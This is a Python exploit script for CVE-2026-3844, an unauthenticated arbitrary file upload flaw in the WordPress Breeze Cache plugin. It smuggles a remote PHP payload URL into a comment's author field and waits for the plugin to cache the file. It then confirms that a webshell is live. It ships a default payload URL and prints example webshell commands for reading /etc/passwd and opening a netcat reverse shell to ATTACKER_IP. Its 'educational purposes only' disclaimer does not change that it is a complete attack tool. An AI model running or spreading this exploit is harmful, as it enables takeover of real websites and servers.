#!/usr/bin/env python3 """ CVE-2026-3844 - Breeze Cache <= 2.4.4 - Unauthenticated Arbitrary File Upload By sahmsec - Educational purposes only! """ import pycurl import random import string import sys import time import os import argparse from io import BytesIO from urllib.parse import urlparse from termcolor import colored def print_banner(): """Display banner""" print(colored("[*] CVE-2026-3844 - WordPress Breeze Cache <= 2.4.4", 'cyan')) print(colored("[*] Type: Unauthenticated Arbitrary File Upload", 'cyan')) print(colored("[*] Author: sahmsec", 'green')) print(colored("[*] Warning: Unauthorized use is ILLEGAL!", 'red')) print() def generate_marker(length=12): """Generate random filename marker""" return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) def get_file_extension(payload_url): """Extract file extension from payload URL""" path = urlparse(payload_url).path ext = os.path.splitext(path)[1] return ext if ext else '.php' def curl_post(url, data, timeout=15): """Send POST request with pycurl""" buffer = BytesIO() c = pycurl.Curl() try: c.setopt(c.URL, url) c.setopt(c.POST, 1) c.setopt(c.POSTFIELDS, data) c.setopt(c.WRITEDATA, buffer) c.setopt(c.FOLLOWLOCATION, True) c.setopt(c.TIMEOUT, timeout) c.setopt(c.SSL_VERIFYPEER, 0) c.setopt(c.SSL_VERIFYHOST, 0) c.setopt(c.HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']) c.setopt(c.USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36') c.perform() status_code = c.getinfo(c.RESPONSE_CODE) c.close() return status_code, buffer.getvalue().decode('utf-8', errors='ignore') except Exception as e: c.close() return 0, str(e) def curl_get(url, timeout=15): """Send GET request with pycurl""" buffer = BytesIO() c = pycurl.Curl() try: c.setopt(c.URL, url) c.setopt(c.WRITEDATA, buffer) c.setopt(c.FOLLOWLOCATION, False) c.setopt(c.TIMEOUT, timeout) c.setopt(c.SSL_VERIFYPEER, 0) c.setopt(c.SSL_VERIFYHOST, 0) c.setopt(c.USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36') c.perform() status_code = c.getinfo(c.RESPONSE_CODE) c.close() return status_code, buffer.getvalue().decode('utf-8', errors='ignore') except Exception as e: c.close() return 0, str(e) def check_vulnerability(target_url): """Check if target is potentially vulnerable""" parsed = urlparse(target_url) base = f"{parsed.scheme}://{parsed.netloc}" print(colored("[*]", "cyan"), colored("Checking Breeze plugin version...", "white")) test_url = f"{base}/wp-content/plugins/breeze/readme.txt" status, response = curl_get(test_url, timeout=10) if status == 200 and "Breeze" in response: for line in response.split('\n'): if 'Stable tag:' in line: version = line.split(':')[1].strip() if version <= '2.4.4': print(colored("[+]", "green"), colored(f"Target VULNERABLE (Breeze v{version})", "green")) return True, version else: print(colored("[-]", "red"), colored(f"Target PATCHED (Breeze v{version} >= 2.4.5)", "red")) return False, version print(colored("[+]", "green"), colored("Target appears VULNERABLE (version unknown)", "yellow")) return True, "Unknown" print(colored("[!]", "yellow"), colored("Breeze plugin not detected or readme.txt inaccessible", "yellow")) return False, "Not detected" def exploit(target_url, payload_url, check_string, timeout): """Main exploitation routine""" marker = generate_marker() file_ext = get_file_extension(payload_url) parsed_target = urlparse(target_url) if not parsed_target.scheme: target_url = f"http://{target_url}" parsed_target = urlparse(target_url) base_url = f"{parsed_target.scheme}://{parsed_target.netloc}" print(colored("[*]", "cyan"), colored(f"Target: {target_url}", "white")) print(colored("[*]", "cyan"), colored(f"Payload: {payload_url}", "white")) print(colored("[*]", "cyan"), colored(f"Output file: {marker}{file_ext}", "yellow")) print() # Step 1: Post comment with malicious srcset print(colored("[*]", "cyan"), colored("Step 1: Sending malicious comment to /wp-comments-post.php...", "white")) post_data = f"comment_post_ID=1&author=x+srcset={payload_url}&email=breeze{marker}@test.com&comment=test+{marker}&submit=Post+Comment" status, response = curl_post(f"{base_url}/wp-comments-post.php", post_data, timeout) if status in [200, 302, 303]: print(colored("[+]", "green"), colored("Comment posted successfully", "green")) elif status == 0: print(colored("[-]", "red"), colored(f"Connection error: {response}", "red")) return None else: print(colored("[!]", "yellow"), colored(f"Unexpected status code: {status}", "yellow")) # Step 2: Wait for file to be cached print(colored("[*]", "cyan"), colored("Step 2: Waiting for Breeze to cache the file...", "white")) for i in range(10, 0, -1): print(colored(f" [*] Waiting {i} seconds...", "cyan"), end='\r') time.sleep(1) print() # Step 3: Check if file was uploaded print(colored("[*]", "cyan"), colored("Step 3: Checking for uploaded file...", "white")) uploaded_file_url = f"{base_url}/wp-content/cache/breeze-extra/gravatars/{marker}{file_ext}" status, response = curl_get(uploaded_file_url, timeout) if status == 200: print(colored("[+]", "green"), colored(f"File found at: {uploaded_file_url}", "cyan")) if check_string and check_string in response: print(colored("[+]", "green", attrs=["bold"]), colored("VERIFICATION STRING FOUND - EXPLOIT SUCCESSFUL!", "green", attrs=["bold"])) return uploaded_file_url elif check_string: print(colored("[!]", "yellow"), colored("File uploaded but verification string not found", "yellow")) return uploaded_file_url else: print(colored("[+]", "green", attrs=["bold"]), colored("CUSTOM PAYLOAD - EXPLOIT SUCCESSFUL!", "green", attrs=["bold"])) return uploaded_file_url elif status == 404: print(colored("[-]", "red"), colored("File not found (404)", "red")) print(colored("[!]", "red"), colored("Exploit FAILED - Gravatar hosting may be disabled", "red")) return None else: print(colored("[-]", "red"), colored(f"Unexpected status code: {status}", "red")) return None def webshell_interaction(shell_url, timeout=15): """Test if webshell is responsive""" print(colored("[*]", "cyan"), colored("Step 4: Testing webshell functionality...", "white")) test_cmd = "?cmd=echo 'CVE-2026-3844_TEST'" status, response = curl_get(shell_url + test_cmd, timeout) if status == 200 and "CVE-2026-3844_TEST" in response: print(colored("[+]", "green"), colored("Webshell is RESPONSIVE and READY!", "green", attrs=["bold"])) return True else: print(colored("[!]", "yellow"), colored("Webshell uploaded but may not be interactive", "yellow")) return False def main(): DEFAULT_PAYLOAD = "https://gist.githubusercontent.com/im-hanzou/1768625b0492df34c32fc394835da595/raw/fbe555d4243f90cc0b01c5e2d676453823dfcf9c/CVE-2026-3844.php" DEFAULT_SUCCESS_STRING = "4356452d323032362d33383434" parser = argparse.ArgumentParser( description="CVE-2026-3844 - Breeze Cache <= 2.4.4 Unauthenticated File Upload Exploit", formatter_class=argparse.RawDescriptionHelpFormatter ) parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://target.com)') parser.add_argument('-p', '--payload', default=DEFAULT_PAYLOAD, help='Remote payload URL') parser.add_argument('--timeout', type=int, default=15, help='Request timeout (default: 15)') parser.add_argument('--check-only', action='store_true', help='Only check if target is vulnerable') parser.add_argument('-o', '--output', help='Save shell URL to file') args = parser.parse_args() # Print banner print_banner() # Check if target is vulnerable print(colored("[*]", "cyan"), colored("PHASE 1: VULNERABILITY ASSESSMENT", "yellow", attrs=["bold"])) is_vuln, version = check_vulnerability(args.url) if args.check_only: print(colored("\n[*]", "cyan"), colored("Check complete. Use -u to attempt exploitation.", "white")) sys.exit(0) if not is_vuln: print(colored("\n[!]", "yellow"), colored("Target may not be vulnerable. Attempting anyway...", "yellow")) print(colored("\n[*]", "cyan"), colored("PHASE 2: EXPLOITATION", "yellow", attrs=["bold"])) print(colored("[!]", "red", attrs=["bold"]), colored("REQUIREMENT: 'Host Files Locally - Gravatars' MUST BE ENABLED", "red", attrs=["bold"])) print(colored("[!]", "red"), colored("If disabled, exploitation will fail", "red")) # Attempt exploitation result = exploit(args.url, args.payload, DEFAULT_SUCCESS_STRING, args.timeout) # Summary print() print(colored("[*]", "cyan", attrs=["bold"]), colored("EXPLOITATION SUMMARY", "yellow", attrs=["bold"])) if result: print(colored("[✓]", "green", attrs=["bold"]), colored("STATUS: SUCCESS", "green", attrs=["bold"])) print(colored("[✓]", "green"), colored(f"WEBSHELL URL: {result}", "cyan")) # Test webshell webshell_interaction(result, args.timeout) if args.output: with open(args.output, 'w') as f: f.write(f"{args.url} | {result}\n") print(colored("[✓]", "green"), colored(f"Saved to: {args.output}", "cyan")) print() print(colored("[*]", "cyan"), colored("USAGE EXAMPLES:", "white", attrs=["bold"])) print(colored(f" Execute command: {result}?cmd=whoami", "yellow")) print(colored(f" Download file: {result}?cmd=cat+/etc/passwd", "yellow")) print(colored(f" Reverse shell: {result}?cmd=nc+-e+/bin/sh+ATTACKER_IP+PORT", "yellow")) else: print(colored("[✗]", "red", attrs=["bold"]), colored("STATUS: FAILED", "red", attrs=["bold"])) print() print(colored("[*]", "cyan"), colored("POSSIBLE REASONS:", "white", attrs=["bold"])) print(colored(" 1.", "yellow"), colored("Gravatar hosting feature is DISABLED (most common)", "white")) print(colored(" 2.", "yellow"), colored("Target is patched (Breeze > 2.4.4)", "white")) print(colored(" 3.", "yellow"), colored("Payload URL is unreachable", "white")) print(colored(" 4.", "yellow"), colored("WordPress comment functionality is disabled", "white")) print(colored(" 5.", "yellow"), colored("Firewall/security plugin blocking the request", "white")) if __name__ == "__main__": main()